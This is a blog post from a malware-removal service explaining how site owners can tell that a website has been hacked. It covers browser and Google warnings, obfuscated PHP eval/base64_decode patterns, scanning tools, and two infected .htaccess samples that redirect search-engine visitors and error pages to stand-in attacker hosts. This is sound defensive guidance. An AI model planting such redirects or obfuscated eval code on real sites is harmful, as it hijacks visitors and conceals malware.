If you are asking yourself “is my website hacked?”, it’s good to find out, and to determine the nature of the hack, as soon as possible. There are many different types of hacks. Some are malicious, while others are just defacements of your actual web pages.
Keep in mind that if you find out your site has been hacked, you should clean it as soon as possible to avoid being blacklisted by Google. If you are not confident cleaning your site yourself, take a look at our malware removal service. We clean and update your site for a flat $249, usually the same day or within 24 business hours, and the work includes a 30-day clean guarantee.
Indicators of compromise
Some hacks are quite apparent since they deface your page, while others are more subtle. If you are wondering “has my site been hacked?”, here are some common signs that your website has been compromised:
- Your home page has changed. If you visit your website, and instead of seeing the page you have created you see something entirely different it’s likely that your page has been “defaced”. Normally, these types of hackers will have a “hacked by…” message displaying to take credit for the hack.
- Your access to admin pages no longer exists. If you cannot access your admin section of your website, it’s possible the hacker has gained access to the administrator account or cPanel and changed the passwords.
- Your computer’s anti-virus software warns you when you visit your website. This is a typical situation where your website is trying to install a trojan or another type of virus on your local computer.
- A page will not load but it used to. If you haven’t changed anything on your website and it is now not loading, this could be a sign of a hack. This is not a typical hack, but it usually indicates that the hacker has modified a database so it no longer functions as it should.
The most common methods of hacking a website are:
- Compromised cPanel or FTP account password
- Code Injection
- Remote File Inclusion
If your password has been hacked or compromised, this will typically be a defacement type of hack. If you use a content management system, the hack was usually done by exploiting a vulnerability in the software or one of its plugins or themes. When you use CMS software such as WordPress, Joomla or Drupal, it is important to keep the core software, plugins and themes up to date.
Google Chrome (or another browser) Alerts You To The Hack
If one of your visitors (or you) see one of the following warnings in Chrome, your site has likely been hacked and infected with malware.
This warning indicates that your site has been used in phishing campaigns. A victim is emailed a URL that contains a link to your website. A hacker is using your website to host malware that tricks the victim into taking some action that the hacker wants when they visit your site.
Google Search Results Flag Your Site as Hacked or Harmful
If you, or one of your site visitors notice the following in the search results that include your site, it has likely been hacked.
Google may remove hacked sites from search results. In other cases the site may still be listed, but flagged with a message saying that “This site may be hacked” or “This site may harm your computer”. When you click through to the website using Chrome, the browser will provide one of the warnings above. Visitors using a different browser may receive no warning, which is why the warning is also included in the search results.
“This site may be hacked” means that Google detected something out of the ordinary on your site, such as unusual changes to existing pages or adding new ones with SEO spam or redirects. These sites do not typically display the standard Google malware warning page.
“This site may harm your computer” means that Google has detected malware on the site. If you visit the site, you do so at your own risk, and if you click through you will see the Google malware warning, which is meant to alert you that the site is currently unsafe. We explain how to remove it in how to fix the “This site may harm your computer” warning.
PHP
PHP is a powerful scripting language, and its built-in base64 encode/decode functions allow hackers to obfuscate their malicious code, which is quite effective at “hiding” what the function of the code is. In PHP sites such as WordPress, Joomla and Drupal (and many other CMSs), base64 encoding is a common technique employed by hackers.
This simple line of code:
$tmp=base64_encode('I am a really malicious line of code!');
will base64 encode the string “I am a really malicious line of code!”. The line echo($tmp); will list out the encoded string “SSBhbSBhIHJlYWxseSBtYWxpY2lvdXMgbGluZSBvZiBjb2RlIQ==” to the browser. A hacker then adds the base64_decode function to a site’s pages:
eval(base64_decode('SSBhbSBhIHJlYWxseSBtYWxpY2lvdXMgbGluZSBvZiBjb2RlIQ=='));
When the page is requested the php code will execute on the server and the malicious line will be added to the content that is sent to the user. A site owner would instantly be suspicious of:
I am a really malicious line of code!
The purpose of the base64 encoded line is not as clear. While eval(base64_decode(‘..[seemingly random string]…’)); is the most common, hackers also use other PHP encoding functions such as:
eval(gzinflate(base64_decode('...')));
eval(gzuncompress(base64_decode('...')));
eval(gzinflate(str_rot13(base64_decode('...'))));
Finding the above functions in your PHP files, or unknown chunks of base64 encoded strings, is a strong sign that you have been hacked.
.Htaccess
The .htaccess file is used primarily to set up rewrite rules to control the way your site is accessed. You might not notice that your .htaccess file has been hacked until either a manual investigation, or you happen to get a malware warning on your website that it’s redirecting to a malicious site.
Sometimes you may see in your web-browser’s status bar that a foreign website is attempting to load content on your website, or you might notice a web-browser warning. These can be common signs of a .htaccess hack. You might also notice that you’ve fallen in search engine rankings.
An example of an infected .htaccess file is shown below:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://MaliciousDomain.tld/bad.php?t=3 [R,L]
This rewrite code checks the referrer of each request. If the visitor came from a popular search engine, it redirects them to the MaliciousDomain.tld website and loads the bad.php malicious script.
Because these RewriteCond conditions don’t match when you type your own address into the browser, only when visitors arrive from search results, these hacks can go unnoticed for some time. Unfortunately, the longer they stay active, the more they can hurt your search engine rankings. See how to detect and clean a WordPress malware redirect for the cleanup steps.
Another example of an infected file redirects the listed errors to the attacker’s website.
RewriteEngine On
ErrorDocument 400 http://attackersite.ru/inject/index.php
ErrorDocument 401 http://attackersite.ru/inject/index.php
ErrorDocument 403 http://attackersite.ru/inject/index.php
ErrorDocument 404 http://attackersite.ru/inject/index.php
ErrorDocument 500 http://attackersite.ru/inject/index.php
Think your site has been hacked? We remove the malware, close the hole it came through and lock the site down for a flat $249. See malware removal →
Tools
Apart from the manual methods listed above, there are numerous tools that can help answer “is my site hacked?” by checking automatically whether your website has been infected.
Google tools
Google’s Safe Browsing site status tool, part of the Google Transparency Report, shows whether Google currently flags your site as unsafe, for example for hosting malware or sending visitors to harmful pages. It takes seconds, and is free. Just type the following into your browser and replace “yourdomain.com” with your actual domain:
https://transparencyreport.google.com/safe-browsing/search?url=yourdomain.com
Google Search Console (formerly Google Webmaster Tools) provides essential tools for any site owner, including checks that determine the overall health of your site. If you haven’t done so already, verify your site in Search Console. Once you’re set up and Google has analyzed your site, open Security & Manual Actions > Security issues to see whether Google has found malware, hacked content or other security problems on your site.
Virus Total
VirusTotal is another online scanner that can be used to detect malware on your website. Simply open the URL tab, enter your website address and press Enter. The URL is checked against dozens of antivirus and URL scanning services. The results are displayed on the next screen with the malware name appearing next to the scanner that detected it.
Shellray
Shellray worked in a similar way to VirusTotal: you uploaded a suspicious PHP file and it scanned it for malicious code, including web shells. Shellray is no longer online, but you can upload a suspicious file to VirusTotal’s File tab in the same way.

We know that restoring a compromised website is never easy and requires a great deal of careful work. I am so pleased I chose FixMyWP.com, their communication was prompt and the service was extremely thorough and professional.
Other websites worth a mention
Keep an eye on blacklists of known malicious or compromised hosts in case your website appears there. Free resources to perform such look-ups include URLVoid, Sucuri SiteCheck, MalwareURL. Similarly, check for your website being listed in XSS Archive, where people report cross-site scripting vulnerabilities.
Think your site has been hacked?
We remove the malware, close the hole it came through and lock the site down. Flat rate of $249, usually done the same day or within 24 business hours.
